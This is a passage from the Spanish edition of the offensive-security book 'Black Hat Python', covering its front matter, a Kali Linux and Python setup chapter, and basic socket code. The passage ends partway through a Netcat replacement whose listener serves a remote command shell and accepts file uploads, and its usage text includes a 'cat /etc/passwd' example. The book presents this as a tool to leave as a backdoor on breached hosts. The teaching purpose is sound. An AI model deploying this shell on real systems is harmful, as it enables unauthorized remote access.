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			A mi preciosa esposa, Clare. Te quiero.

			—Justin
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Comentarios del libro

			«Si trabajas como profesional de la seguridad informática y quieres programar en Python, este es, sin duda, el libro que no debe faltar en tu estantería».

			—Craig Mullins, Data and Technology Today

			«Si de verdad tienes mentalidad de hacker, una chispa es todo lo que necesitas para hacerlo tuyo y conseguir algo aún más increíble. Justin Seitz ofrece chispas en abundancia».

			—Ethical Hacker

			«Ya sea que estés interesado en convertirte en hacker de verdad o en un experto en seguridad informática, o bien sea que solo quieres saber cómo trabajan, este es el libro que tienes que leer. Intenso, técnicamente profundo y muy revelador».

			—Sandra Henry-Stocker, IT World

			«Sin duda, una lectura recomendada para el profesional de la seguridad técnica con una cierta exposición previa básica a Python».

			—Richard Austin, IEEE Cipher

			«Otro increíble libro de Python. Con uno o dos pequeños retoques, muchos de estos programas tendrán al menos una vida útil de diez años, y eso es raro tratándose de un libro sobre seguridad».

			—Stephen Northcutt, presidente fundador del SANS Technology Institute

			«Un estupendo libro que utiliza Python con fines de seguridad ofensiva».

			—Andrew Case, desarrollador principal de Volatility y coautor de The Art of Memory Forensics

		

	
		

			
Prólogo

			Han pasado seis años desde que escribí el prólogo de la exitosa primera edición de este libro. Mucho ha cambiado en el mundo durante este tiempo, pero una cosa no: sigo escribiendo muchísimo código Python. En el campo de la seguridad informática nos seguimos encontrando con herramientas escritas en lenguajes muy distintos, dependiendo de la tarea. Verás código C escrito para un kernel exploit, código para un fuzzer en JavaScript, o un proxy escrito en un lenguaje más «de moda» como Rust. Pero Python sigue siendo el caballo de batalla en esta industria; en mi opinión, es el lenguaje más fácil con el que empezar y, con el gran número de bibliotecas que ofrece, es el mejor para escribir rápidamente código que permita realizar tareas complejas de una manera sencilla. La mayoría de las herramientas y exploits de seguridad informática siguen estando escritos en Python, desde plataformas de explotación como CANVAS hasta fuzzers clásicos como Sulley.

			Antes de la publicación de la primera edición de este título, yo había escrito muchos fuzzers y exploits en Python, incluyendo exploits contra Safari para Mac OS X, teléfonos iPhone y Android, e incluso Second Life (quizá tengas que buscar este último en Google).

			En cualquier caso, desde entonces he escrito un exploit bastante especial, con ayuda de Chris Valasek, con el que conseguimos controlar remotamente un Jeep Cherokee de 2014 y otros coches. Por supuesto, este exploit fue escrito en Python, utilizando el módulo dbus-python. Todas las herramientas que escribimos, que finalmente nos permitieron controlar de forma remota la dirección, los frenos y la aceleración del vehículo, también fueron escritas en Python. Se podría decir, en cierto modo, que Python fue responsable de la retirada de 1,4 millones de vehículos Fiat Chrysler.

			Si te interesa trastear con tareas de seguridad de la información, Python es un gran lenguaje para aprender debido al gran número de bibliotecas de ingeniería inversa y explotación que pone a tu disposición. Ahora, si los desarrolladores de Metasploit entraran en razón y cambiaran de Ruby a Python, nuestra comunidad estaría unida.

			En esta nueva edición de lo que se ha convertido en un clásico muy querido, Justin y Tim han actualizado todo el código a Python 3. Personalmente me considero un dinosaurio que se aferra a Python 2 todo lo que puede, pero a medida que las bibliotecas útiles terminen de migrar a Python 3, incluso yo tendré que aprenderlo pronto. Esta edición habla sobre una amplia gama de temas que le vendrían muy bien para empezar a un joven hacker emprendedor, desde lo más básico, es decir, cómo leer y escribir paquetes de red, hasta todo lo necesario para auditar y atacar aplicaciones web.

			En general, Python Black Hat es una lectura entretenida escrita por expertos con años de experiencia, que están dispuestos a compartir secretos aprendidos a lo largo del camino. Aunque probablemente no te convierta de inmediato en un espectacular hacker como yo, sin duda te permitirá empezar por el camino correcto.

			Recuerda, la diferencia entre los aprendices de hacker y los hackers profesionales es que los primeros utilizan las herramientas de otras personas.

			Los segundos son capaces de escribir las suyas propias.

			Charlie Miller

			Investigador de seguridad

			St. Louis, Missouri

			Octubre de 2020

		

	
		
			
			
Prefacio

			Hacker de Python o programador de Python. Cualquiera de estos términos es correcto para describirnos. Justin ha pasado mucho tiempo haciendo pruebas de penetración, lo que requiere la capacidad de desarrollar rápidamente herramientas Python, estando especialmente enfocado en la entrega de resultados (y no necesariamente en la belleza, optimización, o incluso en la estabilidad de la herramienta). El mantra de Tim es «hazlo funcionar, hazlo comprensible, hazlo rápido... En ese orden». Si tu código es legible, resulta comprensible para aquellos con los que lo compartes, pero también lo es para ti mismo al repasarlo transcurridos unos meses. A lo largo de este libro, aprenderás que así es como codificamos: el hacking es nuestro propósito final, y el código limpio y comprensible es el método que utilizamos para conseguirlo. Esperamos que esta filosofía y estilo de pensamiento te ayuden a ti también.

			Desde que apareció la primera edición de este libro, han pasado muchas cosas en el mundo de Python. Python 2 llegó al final de su vida útil en enero de 2020. Python 3 se ha convertido en la plataforma recomendada para la codificación y la enseñanza. De ahí que, en esta segunda edición, el código esté rehecho y adaptado a Python 3, utilizando los últimos paquetes y bibliotecas. También se aprovechan en él los cambios de sintaxis ofrecidos por Python 3.6 y versiones superiores de Python 3, como por ejemplo, las cadenas Unicode, los gestores de contexto y las cadenas f. Por último, hemos actualizado esta edición con explicaciones adicionales de conceptos de codificación y redes, como el uso de gestores de contexto, la sintaxis Berkeley Packet Filter y una comparación de las bibliotecas ctypes y struct.

			A medida que avances en el libro, te darás cuenta de que no profundizamos en ninguno de los temas por motivos de diseño. Queremos ofrecerte lo básico, con un pequeño toque, para que adquieras conocimientos fundamentales en el mundo del desarrollo de herramientas de hackeo. Pensando en esto, hemos distribuido explicaciones, ideas y tareas a lo largo del libro para que te inicies a tu manera. Te animamos a que explores estas ideas.

			Como ocurre con cualquier libro técnico, los lectores de distintos niveles experimentarán su lectura de formas diferentes. Algunos se limitarán a leer los capítulos que sean pertinentes para su último trabajo de consultoría. Otros lo leerán de principio a fin. Si eres programador de Python principiante o intermedio, te recomendamos que empieces por el principio y leas los capítulos en orden. A lo largo del camino irás aprendiendo buenos elementos básicos.

			Para empezar, en el capítulo 2 exponemos los fundamentos de las redes. Luego, poco a poco, nos vamos abriendo camino a través de los sockets sin procesar en el capítulo 3 y vemos el uso de Scapy en el capítulo 4 para crear algunas herramientas de red más interesantes. La siguiente sección del libro trata sobre hackear aplicaciones web, comenzando con tus propias herramientas personalizadas en el capítulo 5 y extendiendo la conocida Burp Suite en el capítulo 6. A partir de ahí, dedicaremos una gran parte de nuestro tiempo a hablar de troyanos, empezando por el uso de GitHub para mando y control en el capítulo 7, hasta el capítulo 10, donde veremos algunos trucos de elevación de privilegios en Windows. El capítulo final trata sobre la biblioteca de análisis forense de memoria Volatility, que te ayuda a entender cómo piensa el lado defensivo y te muestra cómo aprovechar sus herramientas para pasar a la ofensiva.

			Intentamos que los ejemplos de código sean breves y concisos, al igual que las explicaciones. Si eres relativamente nuevo en Python, te animamos a que repases todas y cada una de las líneas para mantener en perfecto estado esa memoria de codificación. Todos los ejemplos de código fuente de este libro están disponibles para su descarga en la página web de Anaya Multimedia en https://anayamultimedia.es, en la opción Selecciona complemento que encontrará en la ficha correspondiente a este libro. También puede descargarlos de la página web del libro original en https://nostarch.com/black-hat-python2E/. 

			Allá vamos.
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Configurar el entorno Python
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Esta es la parte del libro menos divertida, pero muy importante, donde veremos cómo configurar un entorno en el que escribir y probar Python. Haremos un curso intensivo para configurar una máquina virtual (VM: Virtual Machine) Kali Linux, crear un entorno virtual para Python 3 e instalar un entorno de desarrollo integrado (IDE: Integrated Development Environment), de forma que tengas todo lo necesario para desarrollar código. Al final de este capítulo, tendrías que ser capaz de abordar los ejercicios y ejemplos de código del resto del libro.

Antes de empezar, descarga una máquina virtual con Windows 11 de la página oficial: https://www.microsoft.com/es-es/software-download/windows11 e instálala. Si no tienes un cliente de virtualización como VMware Player, VirtualBox o Hyper-V, descarga e instala uno.


Instalar Kali Linux

Kali, la sucesora de la distribución BackTrack de Linux, fue diseñada por Offensive Security como sistema operativo para pruebas de penetración. Viene con distintas herramientas preinstaladas y está basada en Debian Linux, lo que te permitirá instalar una amplia variedad de herramientas y bibliotecas adicionales.

Vamos a utilizar Kali como máquina virtual invitada, es decir, descargarás una máquina virtual Kali y la ejecutarás en tu máquina anfitriona utilizando el hipervisor de tu elección. Puedes descargar la máquina virtual Kali en https://www.kali.org/get-kali/#kali-virtual-machines e instalarla en el hipervisor que prefieras. Sigue las instrucciones que aparecen en la documentación de Kali: https://www.kali.org/docs/installation/.

Una vez realizados los pasos de la instalación, ya deberías tener el entorno de escritorio Kali completo, como se muestra en la figura 1.1.
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Figura 1.1. El escritorio de Kali Linux.

Como quizá se hayan producido actualizaciones importantes desde que se creó la imagen Kali, vamos a actualizar la máquina con la última versión. En el shell de Kali (Applications>Accessories>Terminal), ejecuta lo siguiente:

tim@kali:~$ sudo apt update

tim@kali:~$ apt list --upgradable

tim@kali:~$ sudo apt upgrade

tim@kali:~$ sudo apt dist-upgrade

tim@kali:~$ sudo apt autoremove


Configurar Python 3

Lo primero que haremos será asegurarnos de que está instalada la versión correcta de Python (los proyectos de este libro usan Python 3.6 o superior). Invoca Python desde el shell de Kali y echa un vistazo:

tim@kali:~$ python

Así es como queda en nuestra máquina Kali:

Python 2.7.17 (default, Oct 19 2019, 23:36:22)

[GCC 9.2.1 20191008] on linux2

Type “help”, “copyright”, “credits” or “license” for more information.

>>>

Esto no es exactamente lo que estamos buscando. En el momento de escribir estas líneas, la versión predeterminada de Python en la instalación actual de Kali es Python 2.7.18. Esto no tendría que ser un problema, porque ya deberías tener también instalado Python 3:

tim@kali:~$ python3

Python 3.7.5 (default, Oct 19 2019, 15:43:29)

[GCC 9.2.1 20191022] on linux

Type “help”, “copyright”, “credits” or “license” for more information. 

>>>

La versión de Python que aparece aquí es la 3.7.5. Si la tuya es inferior a la 3.6, actualiza tu distribución de este modo:

$ sudo apt-get upgrade python3

Utilizaremos Python 3 con un entorno virtual, es decir, un árbol de directorios autónomo que incluye una instalación de Python y el conjunto de paquetes adicionales que instales. El entorno virtual es una de las herramientas más importantes para un desarrollador de Python. Con su ayuda, puedes separar proyectos que tienen diferentes necesidades. Por ejemplo, es posible usar un entorno virtual para proyectos de inspección de paquetes y otro diferente para proyectos de análisis binario.

Al tener entornos separados, mantienes tus proyectos fáciles de entender y limpios, lo que asegura que cada entorno tenga su propio conjunto de dependencias y módulos sin afectar a ninguno de tus otros proyectos.

Creemos ahora un entorno virtual. Para empezar, tenemos que instalar el paquete python3-venv:

tim@kali:~$ sudo apt-get install python3-venv

[sudo] password for tim:

...

Ahora podemos crear un entorno virtual. Vamos a hacer un nuevo directorio en el que trabajar y crear el entorno:

tim@kali:~$ mkdir bhp

tim@kali:~$ cd bhp

tim@kali:~/bhp$ python3 -m venv venv3

tim@kali:~/bhp$ source venv3/bin/activate

(venv3) tim@kali:~/bhp$ python

Así creamos un nuevo directorio, bhp, dentro del directorio actual. Creamos un nuevo entorno virtual llamando al paquete venv con el modificador -m y el nombre que quieras que tenga el nuevo entorno. Nosotros lo hemos llamado venv3, pero puedes usar el nombre que quieras. Los scripts, los paquetes y el ejecutable de Python para el entorno vivirán en ese directorio. A continuación, activamos el entorno ejecutando el script activate. Observa que el prompt cambia una vez que el entorno está activado. El nombre del entorno se antepone a tu línea de comandos habitual (venv3 en nuestro caso). Cuando luego quieras salir del entorno, utiliza el comando deactivate.

Ya tienes Python configurado y has activado un entorno virtual. Como configuramos el entorno para usar Python 3, cuando invoques Python ya no tendrás que especificar python3 (basta con usar python, ya que es lo que instalamos en el entorno virtual). En otras palabras, después de la activación, todos los comandos de Python estarán asociados a tu entorno virtual. Ten en cuenta que el uso de una versión diferente de Python podría impedir que algunos de los ejemplos de código de este libro funcionen.

Usamos el ejecutable pip para instalar paquetes Python en el entorno virtual. Es muy parecido al gestor de paquetes apt, porque te permite instalar directamente bibliotecas de Python en tu entorno virtual sin tener que descargarlas, desempaquetarlas e instalarlas manualmente.

Hagamos una prueba rápida e instalemos el módulo lxml, que usaremos en el capítulo 5 para construir un scraper web. Introduce lo siguiente en tu terminal:

(venv3) tim@kali:~/bhp: pip install lxml

La salida que aparezca tendría que indicar que la biblioteca se está descargando e instalando. A continuación, entra en un shell de Python y verifica que se haya instalado correctamente:

(venv3) tim@kali:~/bhp$ python

Python 3.7.5 (default, Oct 19 2019, 15:43:29)

[GCC 9.2.1 20191022] on linux

Type “help”, “copyright”, “credits” or “license” for more information.

>>> from lxml import etree

>>> exit()

(venv3) tim@kali:~/bhp$

Si obtienes un error o una versión de Python 2, asegúrate de que has seguido todos los pasos anteriores y de que tienes la versión actualizada de Kali.

Ten en cuenta que, para la mayoría de los ejemplos de este libro, puedes desarrollar tu código en distintos entornos, incluyendo macOS, Linux y Windows. También es posible configurar un entorno virtual diferente para proyectos o capítulos separados. Algunos capítulos son específicos de Windows, cosa que nos aseguraremos de mencionar al principio del capítulo.

Ahora que tenemos nuestra máquina virtual de hackeo y un entorno virtual de Python 3 configurado, vamos a instalar un IDE de Python.


Instalar un IDE

Un entorno de desarrollo integrado (IDE: Integrated Development Environment) proporciona un conjunto de herramientas para escribir código. Suele incluir un editor de código, con resaltado de sintaxis y autocorrección ortográfica, y un depurador. El propósito del IDE es facilitar la codificación y depuración de tus programas. No es necesario usar uno para programar en Python; para pequeños programas de prueba es posible utilizar cualquier editor de texto (como vim, nano, Bloc de notas o emacs). Pero para proyectos más grandes y complejos, un IDE te será de enorme ayuda, ya sea para indicar variables que has definido, pero no usado, encontrar nombres de variables mal escritos o localizar importaciones de paquetes que faltan.

En una reciente encuesta realizada a desarrolladores de Python, los dos IDE favoritos fueron PyCharm (que ofrece versiones comerciales y gratuitas) y Visual Studio Code (gratuito). Justin es fan de WingIDE (versiones comercial y gratuita disponibles) y Tim trabaja con Visual Studio Code (VS Code). Los tres IDE pueden utilizarse en Windows, macOS o Linux. 

Instala PyCharm desde https://www.jetbrains.com/es-es/pycharm/download/?section=windows o WingIDE desde https://wingware.com/downloads/. Para instalar VS Code, utiliza la línea de comandos de Kali:

tim@kali#: apt-get install code

Si quieres obtener la última versión de VS Code, descárgala desde https://code.visualstudio.com/download/ e instálala con apt-get:

tim@kali#: apt-get install -f ./code_1.39.2-1571154070_amd64.deb

Es probable que el número de versión, que forma parte del nombre del archivo, sea diferente del que se muestra aquí, así que asegúrate de que el nombre de archivo que utilizas coincide con el que has descargado.


Código limpio

Sin importar lo que uses para escribir tus programas, es una buena idea seguir unas pautas para formatear el código. Una guía de estilo de codificación proporciona recomendaciones para mejorar la legibilidad y consistencia de tu código Python, facilitándote además la comprensión de este cuando lo leas más tarde o para otros si decides compartirlo. La comunidad Python tiene una guía de este tipo de pautas, denominada PEP 8, que encontrarás aquí: https://www.python.org/dev/peps/pep-008/.

Los ejemplos de este libro siguen en general PEP 8, con algunas diferencias, pero observarás que, sin embargo, el código del libro sigue un patrón como este:

[1]  from lxml import etree

from subprocess import Popen

[2]  import argparse

import os

[3]  def get_ip(machine_name):

 pass

[4]  class Scanner:

 def __init__(self):

 pass

[5]  if __name__ == ‘__main__’:

 scan = Scanner()

 print(‘hola’)

Al principio de nuestro programa importamos los paquetes que necesitamos. El primer bloque de importación [1] tiene la forma from XXX import YYY. Cada línea de importación está en orden alfabético.

Lo mismo ocurre con las importaciones de módulos: también están en orden alfabético [2]. Esta ordenación permite comprobar de un vistazo si se ha importado un paquete sin tener que leer todas las líneas correspondientes y asegura que no se importe un paquete dos veces. La intención es mantener el código limpio y disminuir el tiempo que hay que estar pensando al releerlo.

A continuación, vienen las funciones [3], y luego las definiciones de clase [4], si las hay. Algunos programadores prefieren no tener nunca clases y confiar solo en las funciones. Aquí no hay una regla a seguir, pero si te das cuenta de que estás tratando de mantener el estado con variables globales o pasando las mismas estructuras de datos a varias funciones, ello puede ser indicativo de que tu programa sería más fácil de entender si lo refactorizaras para que utilice una clase.

Por último, el bloque principal de la parte inferior v te permite utilizar tu código de dos maneras. En primer lugar, desde la línea de comandos. En este caso, el nombre interno del módulo es __main__ y se ejecuta el bloque principal. Por ejemplo, si el nombre del archivo que contiene el código es scan.py, lo invocarías desde la línea de comandos de la siguiente manera:

python scan.py

Así se cargarán las funciones y clases en scan.py y se ejecutará el bloque principal. En la consola verás la respuesta hola.

En segundo lugar, puedes importar tu código en otro programa sin efectos secundarios. Por ejemplo, importarías el código con:

import scan

Como su nombre interno es el nombre del módulo de Python, scan, y no __main__, tienes acceso a todas las funciones y clases definidas del módulo, pero el bloque principal no se ejecuta.

También habrás visto que evitamos variables con nombres genéricos. Cuanto mejor sepas asignar nombre a tus variables, más fácil será entender el programa.

Ya deberías tener una máquina virtual, Python 3, un entorno virtual y un IDE. Ahora, ¡a divertirse de verdad!
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Herramientas básicas de red
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La red es, y siempre será, el escenario más sugestivo para un hacker. Un atacante puede hacer casi cualquier cosa solo con un acceso de red, como buscar hosts, inyectar paquetes, interceptar datos y explotar hosts de forma remota. Pero si has logrado abrirte camino hasta lo más profundo de una empresa, quizá te encuentres con un pequeño problema: que no tienes herramientas para ejecutar ataques de red. No tienes Netcat, ni Wireshark, ni compilador, ni tan siquiera medios para instalar uno. Sin embargo, quizá te sorprenda descubrir que, en muchos casos, sí tienes una instalación de Python, así que ahí es donde vamos a empezar.

En este capítulo veremos algunas nociones básicas sobre redes en Python utilizando el módulo socket (encontrarás en este enlace su documentación completa: http://docs.python.org/es/3.13/library/socket.html). Vamos a construir clientes, servidores y un proxy TCP. Luego los convertiremos a nuestro propio Netcat, completado con un shell o intérprete de comandos. Este capítulo es la base para los siguientes, en los que realizaremos una herramienta de descubrimiento de hosts, implementaremos sniffers multiplataforma y crearemos una estructura para troyanos remotos. Empecemos.


La creación de redes en Python, explicada en un párrafo

Los programadores disponen de una serie de herramientas de terceros para crear servidores y clientes en red en Python, pero el módulo central para todas esas herramientas es socket. Este módulo expone todas las piezas necesarias para escribir rápidamente clientes y servidores TCP (Transmission Control Protocol: protocolo de control de transmisión) y UDP (User Datagram Protocol: protocolo de datagramas de usuario), usar sockets sin procesar, etc. Si la intención es irrumpir en máquinas o mantener el acceso a ellas, este módulo es todo lo que necesitas. Comencemos creando clientes y servidores sencillos, es decir, los dos scripts de red rápidos más comunes que escribirás.


Cliente TCP

En incontables ocasiones durante pruebas de penetración, nosotros (los autores) hemos necesitado montar un cliente TCP para probar servicios, enviar datos basura, hacer pruebas de fuzzing o realizar otras tareas. Si estás trabajando dentro de los límites de grandes entornos empresariales, no dispondrás del lujo de utilizar herramientas de red o compiladores y, a veces, incluso te faltará lo más básico, como la capacidad de copiar/pegar o conectarte a Internet. Aquí es donde resulta muy útil poder crear rápidamente un cliente TCP. Pero basta de parloteo, vamos a codificar. Aquí tienes un cliente TCP sencillo:

import socket

target_host = “www.google.com”

target_port = 80

# create a socket object

[1]  client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect the client

[2]  client.connect((target_host,target_port))

# send some data

[3]  client.send(b”GET / HTTP/1.1\r\nHost: google.com\r\n\r\n”)

# receive some data

[4]  response = client.recv(4096)

print(response.decode())

client.close()

Primero creamos un objeto socket con los parámetros AF_INET y SOCK_STREAM [1]. El parámetro AF_INET indica que utilizaremos una dirección IPv4 estándar o un nombre de host, y SOCK_STREAM indica que esto será un cliente TCP. A continuación, conectamos el cliente al servidor [2] y le enviamos algunos datos en forma de bytes [3]. El último paso es recibir algunos datos de vuelta e imprimir la respuesta [4], para luego cerrar el socket. Esta es la forma más simple de un cliente TCP, pero es la que escribirás con más frecuencia.

Este fragmento de código hace algunas suposiciones importantes sobre los sockets que sin duda debes conocer. La primera es que nuestra conexión siempre tendrá éxito, y la segunda es que el servidor espera que nosotros enviemos datos primero (otros servidores esperan enviarte datos a ti primero y recibir después tu respuesta). La tercera es que el servidor siempre nos devolverá los datos a tiempo. Hacemos estas suposiciones en aras de la simplicidad. Mientras que los programadores tienen opiniones diversas sobre cómo tratar con el bloqueo de sockets, el manejo de excepciones en sockets y similares, es bastante raro que los hackers éticos incluyan estas sutilezas en sus herramientas improvisadas para trabajos de reconocimiento o explotación, así que en este capítulo las omitiremos.


Cliente UDP

Un cliente UDP de Python no es muy diferente de un cliente TCP; solo hay que hacer dos pequeños cambios para que envíe paquetes en forma UDP:

import socket

target_host = “127.0.0.1”

target_port = 9997

# create a socket object

[1]  client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# send some data

[2]  client.sendto(b”AAABBBCCC”,(target_host,target_port))

# receive some data

[3]  data, addr = client.recvfrom(4096)

print(data.decode())

client.close()

Como se ve en el código, al crear el objeto socket cambiamos el tipo de socket a SOCK_DGRAM [1]. El siguiente paso es simplemente llamar a sendto() [2], pasando los datos y el servidor al que queremos enviar los mismos. Como UDP es un protocolo sin conexión, no hay que llamar antes a connect(). El último paso es llamar a recvfrom() [3] para recibir los datos UDP de vuelta. Observarás también que devuelve tanto los datos como los detalles del host y puerto remotos.

Repetimos que no estamos buscando ser los mejores programadores de red; simplemente queremos que sea rápido, fácil y lo suficientemente fiable como para manejar nuestras tareas de hacking cotidianas. Pasemos a crear algunos servidores sencillos.


Servidor TCP

Crear servidores TCP en Python es tan fácil como crear un cliente. Quizá quieras usar tu propio servidor TCP cuando escribas intérpretes de comandos o crees un proxy (haremos más adelante ambas tareas). Empecemos creando un servidor TCP multihilo estándar. Escribe el siguiente código:

import socket

import threading

IP = ‘0.0.0.0’

PORT = 9998

def main():

 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 server.bind((IP, PORT)) [1]

 server.listen(5) [2]

 print(f’[*] Listening on {IP}:{PORT}’)

 while True:

 client, address = server.accept() [3]

 print(f’[*] Accepted connection from {address[0]}:{address[1]}’)

 client_handler = threading.Thread(target=handle_client, args=(client,))

 client_handler.start() [4]

def handle_client(client_socket): [5]

 with client_socket as sock:

 request = sock.recv(1024)

 print(f’[*] Received: {request.decode(“utf-8”)}’)

 sock.send(b’ACK’)

if __name__ == ‘__main__’:

 main()

Para empezar, pasamos la dirección IP y el puerto en el que queremos que escuche el servidor [1]. A continuación, le decimos al servidor que empiece a escuchar [2], con un número máximo de conexiones establecido en 5. Después ponemos el servidor en su bucle principal, donde espera una conexión entrante. Cuando un cliente se conecta [3], recibimos el socket del cliente en la variable client y los detalles de la conexión remota en la variable address. Entonces creamos un nuevo objeto thread que apunta a nuestra función handle_client, y le pasamos el objeto socket cliente como argumento. Iniciamos luego el hilo o thread para manejar la conexión del cliente [4], momento en el que el bucle principal del servidor está listo para admitir otra conexión entrante. La función handle_client [5] realiza el recv() y luego envía un sencillo mensaje de vuelta al cliente.

Si usas el cliente TCP que construimos antes, puedes enviar algunos paquetes de prueba al servidor. Deberías ver una salida como la siguiente:

[*] Listening on 0.0.0.0:9998

[*] Accepted connection from: 127.0.0.1:62512

[*] Received: ABCDEF

Ya está. Aunque bastante simple, es un fragmento de código muy útil. Lo ampliaremos en próximas secciones, cuando construyamos un sustituto de Netcat y un proxy TCP.


Crear un sustituto de Netcat

Netcat es la navaja multiusos de las redes, por lo que no es de extrañar que los administradores de sistemas más astutos la eliminen de sus sistemas. Una herramienta tan útil sería una gran ventaja si un atacante lograra encontrar una forma de entrar. Con ella, es posible leer y escribir datos a través de la red, lo que significa que se puede usar para ejecutar comandos remotos, pasar archivos de un lado a otro o incluso abrir un shell remoto. En más de una ocasión, nos hemos encontrado con servidores que no tienen Netcat instalado, pero sí Python. En estos casos, resulta muy útil crear un cliente y servidor de red sencillo que puedas usar para pasar archivos, o un escuchador de eventos o listener que te dé acceso a la línea de comandos. Si has entrado a través de una aplicación web, sin duda vale la pena dejar un callback de Python que te ofrezca acceso secundario sin tener que utilizar primero uno de tus troyanos o backdoors. Crear una herramienta como esta es también un estupendo ejercicio de Python, así que empecemos escribiendo netcat.py:

import argparse

import socket

import shlex

import subprocess

import sys

import textwrap

import threading

def execute(cmd):

 cmd = cmd.strip()

 if not cmd:

 return

 [1]  output = subprocess.check_output(shlex.split(cmd), 

 stderr=subprocess.STDOUT)

 return output.decode()

Aquí importamos todas las bibliotecas necesarias y configuramos la función execute, que recibe un comando, lo ejecuta y devuelve la salida como una cadena de texto. Esta función contiene una nueva biblioteca de la que aún no hemos hablado: subprocess. Proporciona una potente interfaz de creación de procesos que te ofrece diversas formas de interactuar con los programas cliente. En este caso [1], estamos utilizando su método check_output, que ejecuta un comando en el sistema operativo local y devuelve después la salida de ese comando.

Ahora crearemos el bloque principal, responsable de manejar los argumentos de la línea de comandos y de llamar al resto de nuestras funciones:

if __name__ == ‘__main__’:

 parser = argparse.ArgumentParser( [1]

 description=’BHP Net Tool’,

 formatter_class=argparse.RawDescriptionHelpFormatter,

 epilog=textwrap.dedent(‘’’Example: [2]

 netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell

 netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file

 netcat.py -t 192.168.1.108 -p 5555 -l -e=\”cat /etc/passwd\” # execute command

 echo ‘ABC’ | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135

 netcat.py -t 192.168.1.108 -p 5555 # connect to server

 ‘’’))

 parser.add_argument(‘-c’, ‘--command’, action=’store_true’, help=’command shell’) [3]

 parser.add_argument(‘-e’, ‘--execute’, help=’execute specified command’)

 parser.add_argument(‘-l’, ‘--listen’, action=’store_true’, help=’listen’)

 parser.add_argument(‘-p’, ‘--port’, type=int, default=5555, help=’specified port’)

 parser.add_argument(‘-t’, ‘--target’, default=’192.168.1.203’, help=’specified IP’)

 parser.add_argument(‘-u’, ‘--upload’, help=’upload file’)

 args = parser.parse_args()

 if args.listen: [4]

 buffer = ‘’

 else:

 buffer = sys.stdin.read()

 nc = NetCat(args, buffer.encode())

 nc.run()

Empleamos el módulo argparse de la biblioteca estándar para crear una interfaz de línea de comandos [1]. Añadiremos argumentos que nos permitan invocarla para cargar un archivo, ejecutar un comando o iniciar un intérprete de comandos.

Proporcionamos ejemplos que el programa mostrará cuando el usuario lo invoque con --help [2] y añadimos seis argumentos que especifican cómo queremos que se comporte el programa [3]. El argumento -c configura un intérprete de comandos interactivo, el argumento -e ejecuta un determinado comando, el argumento -l indica que debe configurarse un listener, el argumento -p especifica el puerto en el que comunicarse, el argumento -t ofrece la IP de destino, y el argumento -u pasa el nombre del archivo que se desea cargar. Tanto el emisor como el receptor utilizan este programa, por lo que los argumentos definen si se invoca para enviar o para escuchar. Los argumentos -c, -e y -u implican el argumento -l, porque dichos argumentos se aplican solo en el lado receptor de la comunicación. El lado emisor establece la conexión con el que escucha, por lo que únicamente necesita los argumentos -t y -p para definir el receptor de destino.

Si lo estamos configurando como listener [4], invocamos el objeto NetCat con una cadena de texto búfer vacía. En caso contrario, enviamos el contenido del búfer desde stdin. Por último, llamamos al método run para iniciarlo.

Ahora iremos colocando la estructura de algunas de estas características, comenzando con nuestro código cliente. Añade el siguiente código por encima del bloque principal:

class NetCat:

 [1]  def __init__(self, args, buffer=None):

 self.args = args self.buffer = buffer

 [2]  self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

 def run(self):

 if self.args.listen:

 [3]  self.listen()

 else:

 [4]  self.send()

Inicializamos el objeto NetCat con los argumentos de la línea de comandos y el búfer [1] y, a continuación, creamos el objeto socket [2].

El método run, que es el punto de entrada para manejar el objeto NetCat, es bastante sencillo: delega la ejecución a dos métodos. Si estamos configurando un escuchador de eventos o listener, llamamos al método listen [3]. En caso contrario, llamamos al método send [4].

Escribamos ahora el método send:

def send(self):

 [1]  self.socket.connect((self.args.target, self.args.port))

 if self.buffer:

 self.socket.send(self.buffer)

 [2]  try:

 [3]  while True:

 recv_len = 1

 response = ‘’

 while recv_len:

 data = self.socket.recv(4096)

 recv_len = len(data)

 response += data.decode()

 if recv_len < 4096:

 [4]  break

 if response:

 print(response)

 buffer = input(‘> ‘)

 buffer += ‘\n’

 [5]  self.socket.send(buffer.encode())

 [6]  except KeyboardInterrupt:

 print(‘User terminated.’)

 self.socket.close()

 sys.exit()

Nos conectamos al destino y al puerto [1] y, si tenemos un búfer, lo enviamos primero al destino. Luego, establecemos un bloque try/catch para cerrar manualmente la conexión con Control-C [2]. A continuación, iniciamos un bucle [3] para recibir datos del destino. Si no hay más datos, salimos del bucle [4]. En caso contrario, imprimimos los datos de respuesta y hacemos una pausa para obtener una entrada interactiva, enviamos dicha entrada [5], y continuamos el bucle. El bucle seguirá hasta que ocurra el KeyboardInterrupt (Control-C) [6], que cerrará el socket.

Escribamos ahora el método que se ejecuta cuando el programa funciona como escuchador:

def listen(self):

 [1]  self.socket.bind((self.args.target, self.args.port))

 self.socket.listen(5)

 [2]  while True:

 client_socket, _ = self.socket.accept()

 [3]  client_thread = threading.Thread(

 target=self.handle, args=(client_socket,)

 )

 client_thread.start()

El método listen se une al destino y al puerto [1] y comienza a escuchar en bucle [2], pasando el socket conectado al método handle [3].

Ahora implementaremos la lógica para realizar la carga de archivos, ejecutar comandos y crear un shell interactivo. El programa realiza estas tareas cuando funciona como escuchador.

def handle(self, client_socket):

 [1]  if self.args.execute:

 output = execute(self.args.execute)

 client_socket.send(output.encode())

 [2]  elif self.args.upload:

 file_buffer = b’’

 while True:

 data = client_socket.recv(4096)

 if data:

 file_buffer += data

 else:

 break

 with open(self.args.upload, ‘wb’) as f:

 f.write(file_buffer)

 message = f’Saved file {self.args.upload}’

 client_socket.send(message.encode())

 [3]  elif self.args.command:

 cmd_buffer = b’’

 while True:

 try:

 client_socket.send(b’BHP: #> ‘)

 while ‘\n’ not in cmd_buffer.decode():

 cmd_buffer += client_socket.recv(64)

 response = execute(cmd_buffer.decode())

 if response:

 client_socket.send(response.encode())

 cmd_buffer = b’’

 except Exception as e:

 print(f’server killed {e}’)

 self.socket.close()

 sys.exit()

